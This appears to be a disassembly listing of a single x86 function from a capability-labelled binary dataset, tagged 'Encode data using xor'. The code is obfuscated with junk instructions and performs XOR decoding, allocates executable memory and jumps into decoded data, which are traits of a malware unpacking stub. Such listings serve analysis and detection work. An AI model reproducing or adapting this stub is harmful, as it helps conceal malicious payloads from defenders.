Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2e0159bc
not edx
mov edx, esi
popal
or esi, esi
inc edx
and esi, esi
mov edx, 0
mov esi, ebx
not ecx
sub ecx, eax
mov edi, esi
or eax, eax
add eax, 0x4313117b
mov ebx, edi
mov ecx, 0x153736fc
add ecx, ecx
dec eax
add edx, 1
or ecx, eax
mov ecx, 0xa065d592
sub eax, ecx
cmp edx, 0x1000b1a
jne 0xa789c1
not ecx
sub ecx, 0xba0b48ff
sub esi, 0xe0d5efd
not edx
add edx, esi
mov ecx, 0xa78796
mov edx, esi
and edx, esi
add edx, esi
mov edi, 0xa7898a
not eax
sub esi, 1
add eax, 0x729d7786
mov ebx, dword [ecx]
mov edx, eax
mov eax, esi
or esi, edx
and ebx, 0xff
and edx, edx
inc esi
add edx, 1
xor dword [edi], ebx
add esi, edx
add esi, edx
sub edx, esi
inc edi
or eax, edx
add esi, esi
add ecx, 1
mov edx, esi
sub edx, esi
cmp edi, entry0
jl 0xa78a26
sub edx, eax
add esi, 0x2e6f6e69
not edx
inc edx
or edx, esi
or ecx, edx
or esi, ecx
mov edi, 0xa7898e
dec esi
sub ecx, esi
not ecx
mov edi, dword [edi]
and ecx, esi
not edx
and esi, ecx
mov edi, dword [edi]
sub ecx, esi
mov ebx, edx
push edi
mov esi, 0xfce2af4f
dec ecx
not esi
mov edi, 0xa7898a
and ecx, ebx
or edx, ecx
mov edi, dword [edi]
sub ebx, edx
sub ecx, esi
mov edi, dword [edi]
add esi, 0xcccf55ee
not ecx
sub esp, 4
mov dword [esp], 0xa78992
not edx
add esi, 0xf084f5a2
call edi
and esi, esi
inc edx
add ebx, 1
mov edi, dword [esp]
add esp, 4
mov ebx, 0xec88ee45
sub ebx, 0xfc7e94d
add ebx, 0x5b58c98
push 0xa7899f
mov ebx, 0x9cb78fb9
add ecx, 1
push eax
not edx
add esi, edx
or esi, ebx
call edi
or edx, ebx
mov edx, ecx
push 0x40
sub ecx, esi
add esi, esi
sub ecx, 0xad063856
push 0x3000
add edx, 1
or esi, esi
push 0x20000390
sub ecx, edx
add esi, 0x8ed3e8f3
sub edx, 0x6c20b71d
push 0
add ecx, esi
add esi, ecx
call eax
mov edx, ebx
sub ecx, esi
not ebx
add eax, 0x200002ea
mov ebx, 0x30f94ef7
add ebx, edx
mov edi, 0xa9de6ceb
add edx, edx
sub edx, ecx
and edx, esi
mov dword [eax], edi
dec ecx
or ebx, ecx
mov edi, dword [eax]
or esi, ebx
or ecx, ecx
add ecx, ecx
cmp edi, 0xa9de6ceb
je 0xa78b70
mov eax, 0
mov dword [eax], ebx
mov ecx, 0xfe6951a5
inc edx
mov edx, 0x33416963
or esi, edx
add ebx, 0xf0f38b6
mov ecx, 0x81607a20
or edx, esi
sub edx, 0xf549f2a7
and esi, edx
mov ebx, section..reloc
dec edx
not esi
mov ecx, 0xa78795
add edx, esi
not edx
mov edi, 0
or esi, edx
add esi, 0xbd9de5b0
mov eax, 0xa78796
or edx, edx
or edx, esi
lea eax, [edi + eax]
mov esi, edx
mov edx, 0xb67963e3
sub edx, esi
mov eax, dword [eax]
add esi, 0x161c92e1
not edx
add edx, 0x522aa726
and eax, 0xff
sub edx, esi
sub edx, esi
add edi, 1
dec edx
sub edx, esi
mov edx, esi
cmp edi, 0x1f4
jne 0xa78bf7
mov edi, 0
not edx
add esi, edx
inc edx
mov edx, 0xc21c7f35
xor dword [ebx], eax
and esi, esi
add esi, 0x78a2f4d5
add ebx, 2
not esi
sub edx, 1
cmp ebx, ecx
jl 0xa78bb0
add edx, esi
not esi
add esi, 1
add edx, 0xf2b8e9b9
mov ecx, section..reloc
mov eax, 0xd1211d67
sub eax, 0x3f5e5fb0
mov eax, 0xf71c6f31
mov esi, section..reloc
sub eax, edi
mov eax, edi
add edi, edi
mov ebx, 0xa78795
dec eax
add eax, 1
mov edx, 0
sub eax, edi
and edi, edi
mov eax, 0x78fef297
mov dl, byte [esi]
add edi, 0x52af2a83
or eax, eax
and edi, edi
mov byte [ecx], dl
not eax
or eax, edi
add ecx, 1
or eax, eax
or eax, edi
and eax, eax
add esi, 2
sub edi, 0x39e94467
inc edi
and edi, edi
cmp esi, ebx
jle 0xa78c6b
sub edi, 0xc10a7edb
add edi, 0xa4835077
add edx, esi
mov edx, 0x8fe834b
push 0x8dc6a0
mov esi, 0xab5c78c5
and esi, edx
ret